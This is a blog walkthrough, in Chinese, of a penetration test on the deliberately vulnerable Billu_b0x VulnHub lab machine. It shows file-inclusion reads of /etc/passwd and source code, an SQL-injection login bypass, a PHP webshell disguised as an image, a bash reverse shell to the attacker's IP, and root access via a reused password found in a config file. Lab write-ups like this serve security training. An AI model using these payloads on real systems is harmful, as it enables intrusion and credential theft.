【Billu_bOx1靶机的完整详细渗透测试附靶机下载链接】

本文记录了Billu_bOx1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。

靶机下载链接:https://download.vulnhub.com/billu/Billu_b0x.zip

靶机名称:Billu_bOx1

测试时间:2026/3/27

注意打开靶机前要把靶机设置为NAT模式

如果遇到查找不到靶机的情况,参考这篇文章的开头部分:
https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501

一.概述

  • 查询攻击机(kali)IP:
bash 复制代码
ifconfig

得到攻击机(kali)IP:192.168.253.166

  • 查询靶机IP:
bash 复制代码
nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24

得到靶机IP:192.168.253.178

二. 信息收集

    1. 扫描全部端口
bash 复制代码
nmap -A -p 1-64000 192.168.253.178

得到开放端口有

22:用于ssh登录

80:网页默认的 HTTP 端口

    1. Web网页目录扫描:
bash 复制代码
dirb http://192.168.253.178     或者

dirsearch -u http://192.168.253.178 -x 404,403,400

有许多目录,待会我们再仔细看看

    1. web指纹识别
bash 复制代码
 whatweb  http://192.168.253.178
    1. 打开网页收集信息
      直接访问192.168.253.178

      一个登录页面,add页面则是上传文件页面

      试了一下上传不成功,可能要登录才能成功
      访问test目录页面

      他说file参数为空,所以我们尝试文件包含,
      访问http://192.168.253.178/test?file=../../../../../../../../etc/passwd没回显,改成POST方法才行,我用burp改成POST成功回显

      或者用curl --data "file=../../../../../../../../../../etc/passwd" 192.168.253.178/test也可以回显

不过没得到什么信息,我们看看初始页面源代码

bash 复制代码
curl --data "file=index.php" 192.168.253.178/test

对源码审计发现登录页面过滤了单引号,既然知道源码我们就去进行sql注入,输入用户名:or 1=1 #,密码:\(因为\'会被转义成字符,所以根据源码sql语句select * from auth where pass='\' and uname='or 1=1,其中\'被转义为一个字符,所以分为pass='\' and uname='部分和or 1=1部分,所以恒真)即可成功登录

这是登录后的页面,我们尝试上传图片马,创建一个.jpg文件然后编辑内容

bash 复制代码
GIF89a
<?php system($_POST['cmd']); ?>

注意要post方法才行,我最开始用GET是不行的,然后点击ADD USERS上传就行了,用burp抓包,把底下的load=show&continue=continue改成load=/uploaded_images/8.jpg&continue=continue&cmd=ls即可执行命令

那我们就把cmd命令换成反弹shell命令即可(记得进行url编码)

先在终端监听

bash 复制代码
nc -lnvp 1234

然后更改cmd命令

bash 复制代码
bash -c "bash -i >& /dev/tcp/192.168.253.166/1234 0>&1"

监听成功

三. 漏洞发现与利用

Web漏洞

漏洞类型:文件包含漏洞;sql注入漏洞;文件上传漏洞

利用过程:

  1. 文件包含查看初始页面源码,知道初始页面存在漏洞
  2. 根据源码进行sql注入成功登录
  3. 上传图片马成功执行命令,进而执行反弹shell命令

四. 权限提升

获得一个交互性更好的bash

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

用id或whoami查看自己身份

查看内核版本

bash 复制代码
uname -a

查看当前目录

bash 复制代码
ls

进入phpmy目录

bash 复制代码
cd phpmy

再查看目录下文件

bash 复制代码
ls

发现数据库文件config.inc.php,我们查看文件内容

bash 复制代码
cat config.inc.php

得到一个用户名和密码,尝试登录

bash 复制代码
su root

输入刚才得到的密码:roottoor

成功得到root权限

五.总结与反思

本次测试主要难点:

  1. 代码审计与 SQL 注入绕过:通过文件包含漏洞读取 index.php 源码,发现登录逻辑中过滤了单引号但未过滤反斜杠。需要理解 SQL 语句拼接方式,并构造特殊的用户名 or 1=1 # 和密码 \ 来绕过验证。

  2. 图片马上传与命令执行:登录后找到上传点,需要构造包含 PHP 代码的图片马,并利用 POST 参数执行系统命令。

  3. 配置文件中提取密码提权:获得低权限 shell 后,在 /phpmy/config.inc.php 中发现数据库密码,并尝试用该密码切换至 root 用户

学到的技巧:

  1. 文件包含读取源码:巩固了利用文件包含漏洞读取 PHP 源码的方法,为后续代码审计提供基础。
  2. SQL 注入绕过技巧:掌握了在过滤单引号的情况下,利用反斜杠转义和注释符进行 SQL 注入的方法。
  3. 图片马制作与利用:学会了制作包含 PHP 代码的图片马,并通过 POST 参数执行系统命令。
  4. 敏感配置文件信息收集:提高了对常见配置文件(如 config.inc.php)的敏感性,并懂得将数据库密码尝试用于系统用户提权。
  5. 密码复用提权:理解了在多个服务(如数据库、系统)中使用相同密码的风险,并利用该弱点完成提权。

该靶机漏洞总结:

本次渗透的入口是 80 端口 Web 服务中的文件包含漏洞,通过该漏洞读取 index.php 源码,发现登录页面的 SQL 注入点。利用 SQL 注入绕过登录后,在文件上传点上传图片马,并通过 POST 参数执行系统命令获得初始 shell。随后在 Web 目录下发现 phpmy 文件夹中的数据库配置文件 config.inc.php,提取出数据库密码(同时也是 root 密码),用 su root 成功提权。

​

相关推荐
持敬chijing21 分钟前
系统入侵与攻击工具-正反向 Shell 深度对比与多种反弹姿势
安全·网络安全·网络攻击模型
终端安全笔记21 小时前
下一个大版本要动的三处:更新指令、传输要求、策略写法
网络安全·ios·1024程序员节·移动设备管理
愤怒火龙果1 天前
AI 渗透测试智能体架构综述:从单兵到蜂群的演进图谱
人工智能·网络安全·架构
学逆向的1 天前
C 枚举变量
c语言·开发语言·网络安全
QZ166560951592 天前
数据库监测的主动防御:实时感知,看见即掌控
网络·安全·网络安全
豆豆2 天前
网站漏洞应急处置 + 安全加固指南,附安全 CMS 推荐
web安全·网站安全·1024程序员节·漏洞修复·漏洞处置·cms 选型·网站漏洞修复
kingx32 天前
BugKu 渗透测试4 Writeup:从 eval 注入到五层内网拿满 Flag
人工智能·网络安全·网络攻击模型·安全威胁分析·1024程序员节
愤怒火龙果2 天前
AIShield 靶场 WP
人工智能·网络安全·1024程序员节
sbjdhjd2 天前
从黑板事实到长链路剪枝:AI 渗透测试 Agent 的实验、失效与改造
人工智能·网络安全·数据挖掘·php·agent·剪枝·1024程序员节
TechWayfarer3 天前
PHP漏洞被利用,怎么揪出攻击IP?
开发语言·python·tcp/ip·网络安全·php